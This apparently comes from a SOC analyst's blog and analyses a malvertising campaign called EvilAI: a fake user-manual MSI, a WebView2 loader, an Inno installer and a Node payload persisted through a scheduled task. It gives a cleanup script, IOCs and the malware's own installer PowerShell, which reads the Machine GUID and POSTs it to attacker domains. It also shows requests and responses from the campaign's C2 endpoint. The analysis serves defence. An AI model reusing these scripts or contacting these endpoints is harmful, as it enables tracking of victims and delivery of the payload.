====================
== Alert Overload ==
====================
Tales from a SOC analyst

EvilAI Update

EvilAI Update

EvilAI is back at it again! Nothing significant has hanged with the payload or the Node abuse, but the campaign has developed a new Advanced Installer MSI lure that unpacks and executes a WebView2 .Net application loader. This loader creates a temporary directory and downloads the Inno Installer that contains the Node payload and configuration files. Like previous campaigns, the Node payload is executed via Scheduled Task.

Similarly to the earlier campaigns covered in September, the payload itself is heavily obfuscated and contains encoded strings that are decoded at runtime. It accesses several registry keys and uses the Machine GUID to track sessions and activities, from the initial Advanced Installer script to the transmitted data in the Node payload.

Advanced Installer has been incredibly popular lately, with increased use in recently observed payloads (Huorong Security Management Weaponized in ClickFix Attacks). Advanced Installer MSIs are Microsoft Installation files that contain a GUI installer front end, often including PowerShell scripts that run on installation. The main files are stored in a CAB file that is extracted and unpacked by the GUI installer. Advanced Installer, much like Inno Installer, and other installers, simply unpacks and executes the contents of the CAB file and any bundled scripts.

In these new incidents, EvilAI is creating Advanced Installer MSI files following similar naming schemes as previous campaigns, usermanualvault.msi. This MSI contains a “disk1” CAB file, a common naming scheme for CAB files in Advanced Installer binaries. This CAB file contains the WebView .Net application. The WebView application contains a function to create a randomly named folder in the User’s %temp% directory. It downloads a 7zip archive to this folder and unzips it, executing the contained binary. This binary is the Inno Installer that drops the Node files and payload, and creates the scheduled task for execution.

Cleanup Script

Much like the previous campaign cleanup script, this one focuses on removing the scheduled task and files on disk. It is likely that this script will need to be added to as more variants appear. The previous campaign had many different payload names.

Adding to this script should simply involve adding the MSI name to the $files array and updating the Task removal with the name of the Task. Alternatively, the commented Task removal

$ErrorActionPreference = "SilentlyContinue"
$files = @("usermanualvault") # Array for file names - There are better ways to do this, but I want to be explicit for deletions

# Run this for all users on device
$users = (Get-item C:\Users\*).Name
foreach($user in $users){

    # Look in downloads for MSI/matching files
    $path = "C:\Users\$user\Downloads"

    # In this variant, we have only seen dropped files in *\Resources
    $apppath = "C:\Users\$user\AppData\Local\Programs\Resources\"

    # Delete matching file from downloads
    if((Test-Path $path)){
        foreach($file in $files){
            Write-Host "Removing $path\$file matches"
            Get-ChildItem $path | ? Name -match $file | Remove-Item # remove from downloads
        }
    }

    # Delete all files from Resources directory
    if((Test-Path $apppath)){
        Get-ChildItem $apppath | Remove-Item -force -recurse # Don't run this if you use Resources for anything 
    }

    # Delete my_session.txt from the Temp directory
    if((Test-Path "C:\Users\$user\AppData\Local\Temp\my_session.txt")){
        Remove-Item -force "C:\Users\$user\AppData\Local\Temp\my_session.txt"
    }

    # Delete the temp staging directory 
    $tmp = Get-ChildItem "C:\Users\$user\AppData\Local\Temp\" | ? Name -match "^[{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?$" # Machine GUID Regex
    foreach($dir in $tmp){
        if(Get-ChildItem $dir | Select-String "out.exe"){
            Get-ChildItem $dir | Remove-Item -force -recurse # Remove GUID matching directories with out.exe present  
        }
    }
}

# This kills all node.exe tasks
# $tasks = Get-CimInstance -Namespace Root/Microsoft/Windows/TaskScheduler -ClassName MSFT_ScheduledTask
# foreach($task in $tasks){
#     if($task.Actions.Arguments -match "node.exe"){
#         Write-Host "Unregistering task: $($task.TaskName)"
#         Unregister-ScheduledTask -TaskName $task.TaskName -Confirm:$false
#     }
# }


# This only kills the identified "Application Maintenance" task
$tasks = Get-CimInstance -Namespace Root/Microsoft/Windows/TaskScheduler -ClassName MSFT_ScheduledTask
foreach($task in $tasks){
    if($task.Actions.Arguments -match "node.exe" -And $task.TaskName -eq "Application Maintenance"){
        Write-Host "Unregistering task: $($task.TaskName)"
        Unregister-ScheduledTask -TaskName $task.TaskName -Confirm:$false
    }
}

Incident Overview

This incident was first observed on February 2nd, 2026.

A User was browsing the internet when they clicked on a Google Ads campaign that redirected them to download usermanualvault.msi. Like previous campaigns, this ad was masquerading as a “User Manual” finding application.

alt text

The MSI was downloaded from this URL. Note the tracking parameters.

hxxps[://]usermanualvault[.]com/manuals-vault/?utm_source=google&utm_term=instruction%20manual%20software&utm_content=ownersmanuals2[.]com&utm_adgroup=192891996682&gad_source=5&gad_campaignid=23436002100&gclid=EAIaIQobChMIr8HllYWvkgMVpYQdCR0_9QBjEAEYASAAEgI15vD_BwE
Parameter Value Definition
Base URL https://usermanualvault.com/manuals-vault/ The specific landing page intended for the user.
Traffic Source google Identifies the origin of the traffic as Google.
Search Term instruction manual software The keyword or phrase that triggered the ad display.
Ad Content ownersmanuals2.com Used to track the specific creative or a targeted competitor domain.
Ad Group ID 192891996682 The unique ID for the sub-category within the campaign.
Campaign ID 23436002100 The top-level ID for the entire advertising initiative.
Google Click ID EAIaIQobChMIr8HllYWvkgMVpYQdCR0_9QBjEAEYASAAEgI15vD_BwE An encrypted string used for deep conversion tracking.
Source Surface 5 A numeric code used by Google to identify the placement.

To learn more about Google Ad tracking, please see URL builders, Google Click Identifier, and Google Ads Custom Parameters. I think it’s kind of neat.

Once directed to the page, the user downloaded the MSI and executed it. The great thing about MSI installers is that you can just extract them.

A note on Advanced Installer MSIs

As seen in Huorong Security Management Weaponized in ClickFix Attacks, Advanced Installer MSIs all follow the same formatting. All string data is stored in the !_StringData file and can be viewed with any text editor. The neat thing is, scripts are also located in the StringData file and can be easily extracted from the file. Additionally, all of the Advanced Installer files I’ve seen have followed the same naming scheme for the CAB files, disk1.cab.

Extracting the MSI revealed standard installation and configuration files for Advanced Installer GUI installers. This included a CAB file which was also extracted.

The !_StringData file contained an installation script that was extracted. Notably, this script sends a POST request to two domains on the InstallStart event and the InstallComplete event.

The payload it sends is the same for both events, outside of the event name field.

{
  "sessionId": "GUID for session tracking",
  "machineid": "Machine GUID",
  "product": "Product Name \"usermanualvault.com\"",
  "event": "name of event \"InstallStart\" or \"InstallComplete\"",
  "affid": "511123",
  "windowserver": "Operating System"
}
Installation Script
$sessionFile = "$env:TEMP\my_session.txt"
if (Test-Path $sessionFile) [\{]
    $sessionid = Get-Content -Path $sessionFile -Raw -ErrorAction SilentlyContinue
    $sessionid = $sessionid.Trim()
[\}] else [\{]
    $sessionid = [\[]guid[\]]::NewGuid().ToString()
    Set-Content -Path $sessionFile -Value $sessionid
[\}]

$affid = "511123"

#  Machine ID
$machineid = $null

try [\{]
    $reg64 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
        [\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
        [\[]Microsoft.Win32.RegistryView[\]]::Registry64
    )
    $cryptKey64 = $reg64.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
    if ($cryptKey64) [\{]
        $guid = $cryptKey64.GetValue("MachineGuid")
        if ($guid -and $guid.Trim() -ne "") [\{]
            $machineid = $guid
        [\}]
    [\}]
[\}] catch [\{] [\}]

if (-not $machineid) [\{]
    try [\{]
        $reg32 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
            [\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
            [\[]Microsoft.Win32.RegistryView[\]]::Registry32
        )
        $cryptKey32 = $reg32.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
        if ($cryptKey32) [\{]
            $guid = $cryptKey32.GetValue("MachineGuid")
            if ($guid -and $guid.Trim() -ne "") [\{]
                $machineid = $guid
            [\}]
        [\}]
    [\}] catch [\{] [\}]
[\}]


$windowsver = (Get-CimInstance Win32_OperatingSystem).Version

$body = @[\{]
    product    = "usermanualvault.com"
    affid      = $affid
    event      = "InstallComplete"
    sessionid  = $sessionid
    windowsver = $windowsver
[\}]

if ($machineid) [\{]
    $body.machineid = $machineid
[\}]


$json = $body | ConvertTo-Json -Compress

Invoke-RestMethod `
    -Uri "https://event.usermanualvault.com" `
    -Method Post `
    -Body $json `
    -ContentType "application/json"


$body2 = @[\{]
    id = $machineid
[\}]

$json2 = $body2 | ConvertTo-Json -Compress

Invoke-RestMethod `
    -Uri "https://web.appactivitycounter.com/complete" `
    -Method Post `
    -Body $json2 `
    -ContentType "application/json"ScriptPreambleparam(
  [\[]alias("propFile")[\]]      [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
 ,[\[]alias("propSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
 ,[\[]alias("lineSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropLineSeparator
 ,[\[]alias("scriptFile")[\]]    [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
 ,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
 ,[\[]Parameter(Mandatory=$true)[\]]                          [\[]string[\]] $testPrefix
 ,[\[]switch[\]]                                                       $isTest
 )

Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]]  [\[]string[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
                          )
[\{]
  if ($isTest -and ($testValue -ne $null))
  [\{]
    [\[]string[\]] $newData = "$testPrefix$name$msiPropKVSeparator$testValue$msiPropLineSeparator"
    [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
    return $testValue
  [\}]
  [\[]string[\]] $contentData = Get-Content $msiPropOutFilePath -raw
  [\[]array[\]] $content = $contentData -split $msiPropLineSeparator
  
  [\[]array[\]]::Reverse($content)
  ForEach ($line in $content)
  [\{]
    $lineTokens = $line -split $msiPropKVSeparator
    if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
    [\{]
      return $lineTokens[\[]1[\]]
    [\}]
  [\}]
  return ''
[\}]

Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $value
                          )
[\{]
  if ($value -eq $null)
  [\{]
    Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables using empty quotes."
  [\}]
  [\[]string[\]] $newData = "$name$msiPropKVSeparator$value$msiPropLineSeparator"
  [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
[\}]

Set-Alias -name "Get-Property" -value AI_GetMsiProperty
Set-Alias -name "Set-Property" -value AI_SetMsiProperty

try
[\{]
  [\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath
  
  $userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
  $userScriptFilePath = $userScriptFilePath.Replace('(', '`(')
  $userScriptFilePath = $userScriptFilePath.Replace(')', '`)')
  $userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
  $userScriptFilePath = $userScriptFilePath.Replace('&', '`&')
  # Simple quotes are problematic, especially when more in a succession
  # e.g. in a username. We need to enclose each bundle of them in a simple quoted string
  # with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
  $userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
  $userScriptFilePath = $userScriptFilePath.Replace("'''",  "????????")
  $userScriptFilePath = $userScriptFilePath.Replace("''",   "??????")
  $userScriptFilePath = $userScriptFilePath.Replace("'",    "????")
  $userScriptFilePath = $userScriptFilePath.Replace('?',    "'")
  
  Invoke-Expression "$userScriptFilePath $userScriptArgs"

  if ($LastExitCode -ne $null)
  [\{]
    exit $LastExitCode;
  [\}]
[\}]
catch
[\{]
   Write-Output "ERROR: $($_.Exception.Message)"
   Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]
AI_SET_PATCHAI_DATA_SETTERUserManualVault.exeAI_DATA_SETTER_1ParamsScript$sessionid = [\[]guid[\]]::NewGuid().ToString()
$sessionFile = "$env:TEMP\my_session.txt"
Set-Content -Path $sessionFile -Value $sessionid

$affid = "511123"   

$machineid = $null

try [\{]
    $reg64 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
        [\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
        [\[]Microsoft.Win32.RegistryView[\]]::Registry64
    )
    $cryptKey64 = $reg64.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
    if ($cryptKey64) [\{]
        $guid = $cryptKey64.GetValue("MachineGuid")
        if ($guid -and $guid.Trim() -ne "") [\{]
            $machineid = $guid
        [\}]
    [\}]
[\}] catch [\{] [\}]

if (-not $machineid) [\{]
    try [\{]
        $reg32 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
            [\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
            [\[]Microsoft.Win32.RegistryView[\]]::Registry32
        )
        $cryptKey32 = $reg32.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
        if ($cryptKey32) [\{]
            $guid = $cryptKey32.GetValue("MachineGuid")
            if ($guid -and $guid.Trim() -ne "") [\{]
                $machineid = $guid
            [\}]
        [\}]
    [\}] catch [\{] [\}]
[\}]

$windowsver = (Get-CimInstance Win32_OperatingSystem).Version

$body = @[\{]
    product    = "usermanualvault.com"
    affid      = $affid
    event      = "InstallStart"
    sessionid  = $sessionid
    windowsver = $windowsver
[\}]

if ($machineid) [\{]
    $body.machineid = $machineid
[\}]

$json = $body | ConvertTo-Json -Compress

Invoke-RestMethod `
    -Uri "https://event.usermanualvault.com" `
    -Method Post `
    -Body $json `
    -ContentType "application/json"
ScriptPreambleparam(
  [\[]alias("propFile")[\]]      [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
 ,[\[]alias("propSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
 ,[\[]alias("lineSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropLineSeparator
 ,[\[]alias("scriptFile")[\]]    [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
 ,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
 ,[\[]Parameter(Mandatory=$true)[\]]                          [\[]string[\]] $testPrefix
 ,[\[]switch[\]]                                                       $isTest
 )

Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]]  [\[]string[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
                          )
[\{]
  if ($isTest -and ($testValue -ne $null))
  [\{]
    [\[]string[\]] $newData = "$testPrefix$name$msiPropKVSeparator$testValue$msiPropLineSeparator"
    [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
    return $testValue
  [\}]
  [\[]string[\]] $contentData = Get-Content $msiPropOutFilePath -raw
  [\[]array[\]] $content = $contentData -split $msiPropLineSeparator
  
  [\[]array[\]]::Reverse($content)
  ForEach ($line in $content)
  [\{]
    $lineTokens = $line -split $msiPropKVSeparator
    if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
    [\{]
      return $lineTokens[\[]1[\]]
    [\}]
  [\}]
  return ''
[\}]

Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $value
                          )
[\{]
  if ($value -eq $null)
  [\{]
    Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables using empty quotes."
  [\}]
  [\[]string[\]] $newData = "$name$msiPropKVSeparator$value$msiPropLineSeparator"
  [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
[\}]

Set-Alias -name "Get-Property" -value AI_GetMsiProperty
Set-Alias -name "Set-Property" -value AI_SetMsiProperty

try
[\{]
  [\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath
  
  $userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
  $userScriptFilePath = $userScriptFilePath.Replace('(', '`(')
  $userScriptFilePath = $userScriptFilePath.Replace(')', '`)')
  $userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
  $userScriptFilePath = $userScriptFilePath.Replace('&', '`&')
  # Simple quotes are problematic, especially when more in a succession
  # e.g. in a username. We need to enclose each bundle of them in a simple quoted string
  # with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
  $userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
  $userScriptFilePath = $userScriptFilePath.Replace("'''",  "????????")
  $userScriptFilePath = $userScriptFilePath.Replace("''",   "??????")
  $userScriptFilePath = $userScriptFilePath.Replace("'",    "????")
  $userScriptFilePath = $userScriptFilePath.Replace('?',    "'")
  
  Invoke-Expression "$userScriptFilePath $userScriptArgs"

  if ($LastExitCode -ne $null)
  [\{]
    exit $LastExitCode;
  [\}]
[\}]
catch
[\{]
   Write-Output "ERROR: $($_.Exception.Message)"
   Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]

During the installation, several DLLs and executable files are extracted from the CAB file.

alt text

The WebView.exe binary is a C# .Net binary that can be disassembled and viewed in ILSpy or DNSpy. A quick disassembly reveals that it is creating directories and downloading files to the directory, extracting and executing them after a successful download.

The WebView binary simply loads a standard WebView2 process directed at hxxps[://]open[.]usermanualvault[.]com.

alt text

It also grabs the GUID of the machine, likely to correlate with the installation session from the Advanced Installer script.

alt text

It uses a custom User-Agent of web when connecting to endpoints. This includes sending and receiving JSON data.

alt text

The main function of this WebView application is to create a randomly named folder in the user’s $env:Temp directory and drop dl.zip. This zip archive gets extracted to out.exe and executed. A call is made to hxxps[://]log[.]premiumlicensecheck[.]com/up, with the response used as arguments for the launch of out.exe. If there isn’t a valid response from this endpoint, the node payload doesn’t run. This is likely an anti-analysis technique to ensure that the GUID in the install session already exists.

alt text

To get a valid response from the server, you do need to have a valid Body.

$body = @{requestData=@{id=New-GUID}} | ConvertTo-JSON
$a = iwr "https://log.premiumlicensecheck.com/up" -UserAgent "web" -Method Post -ContentType "application/json" -Body $body

This will result in an empty 200 response, presumably because the id does not exist in the system.

HTTP/1.1 200 OK
Connection: keep-alive
Date: Wed, 04 Feb 2026 16:40:48 GMT
Apigw-Requestid: YQ92niiqPHcES3g=
X-Cache: Miss from cloudfront
Via: 1.1 6e698386c371eb80623fd6117adca880.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MSP50-P5
X-Amz-Cf-Id: SuxeR5p8X5vUi7ptsz4Aikea7l4w4d4I1WUbjO9MrG6-Jv6vUWF8wA==
Content-Length: 0

Using a Machine GUID ID for a device that ran the installer script will output the valid command line arguments passed to out.exe.

{"d":"https://validate.premiumlicensecheck.com/out.zip","p":"vqeobczaik","a":"/VERYSILENT /SUPPRESSMSGBOXES"}

The dropped binary out.exe is an Inno Setup Installer similar to the installers used in previous EvilAI campaigns. It includes the Node files and Node payload. Inno Installers can be extracted with InnoUnpacker.

The Inno Setup Installer contains the Scheduled Task XML that is used to register the task. This task follows the same pattern as previous campaigns. The task name in this sample was explicitly set to Application Maintenance.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT24H</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2019-01-01T00:00:00</StartBoundary>
      <ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
      <Enabled>true</Enabled>
      <RandomDelay>PT30M</RandomDelay>
    </TimeTrigger>
    <RegistrationTrigger>
      <Enabled>true</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\cmd.exe</Command>
      <Arguments>/C start "" /min "%app%\node\node.exe" "%app%\%task%"</Arguments>
      <WorkingDirectory>%app%\node</WorkingDirectory>
    </Exec>
  </Actions>
</Task>

This task results in a CMD command that resolves to this:

"C:\Windows\System32\cmd.exe" /C start "" /min "C:\Users\%USER%\AppData\Local\Programs\Resources\node\node.exe" "C:\Users\%USER%\AppData\Local\Programs\Resources\list"

The Node payload is named list and contains heavily obfuscated code. The code is detected as obfuscated by obfuscator.io, though this detection may not be accurate.

When deobfuscated using Obfuscator.io Deobfuscator, the resulting code is approximately 2000 lines long. On the surface level, it appears very similar to previous campaigns.

I didn’t have time to RE the Node payload, but I did submit the Inno Installer to Triage. It looks like it’s submitting the Machine GUID to receive data. As the sandbox VM GUID isn’t present in the EvilAI system, this is likely not returning any data. As with the previous calls, the Machine GUID must already exist from the installation script for future payloads to function.

A more in-depth review of the Node payload may be added at a later date, when I can sandbox in my own env.

IOCs

Name Hash Description
usermanualvault.msi 513F0B96C071AECD4026FE080BC7A624BE7B8B1D04EDCA520DF62C049C14BC96 The initial installer
!_StringData BC8A661C5C2D808F9FFBEE5FDE1A3CAD7592DD7AB1F15FED2F6E8D52C6D1A89D The StringData file holding the installer script
disk1.cab 8DEA91BC61DEDF9E713397E104039721DAFD81EBA63FB006B406A9521F3C8732 CAB file containing WebView binary
WebView.exe 6384E81660B474E430857852FDC708173E76CDB4B11B972721B54DD99F071AA4 WebView binary
WebView.exe.config 09FEAFE4B2F1F68DA8F6C6B420DC75820521C8F3F65EFEB4DFCFBC1C980F1B5A Config file for WebView
WebView.pdb 07179634E136553D413BC3DF35A0AF146D4D79CD7D6436EEEB6CF85BDA76AA7A PDB for WebView
out.exe 70A920EEA3545032B5C56A7F96E95C3087544319259490EA68BE1EB1D1B21834 Downloaded Inno Setup Installer Triage
list BD7AED21C189381CB0B106655B14FA22AE1FF80D9908672A0D1D4849C1DAC447 Node payload (See Triage link)
t.xml A287C2FDED03EC843A8E19B5160925DA09507DCADEA463AE47F34C5106CA849A Task XML
Domain Description
usermanualvault.com The download and contact domain used with the installer MSI
appactivitycounter.com Contacted during the installation
premiumlicensecheck.com WebView domain contacted for InnoSetup Installer arguments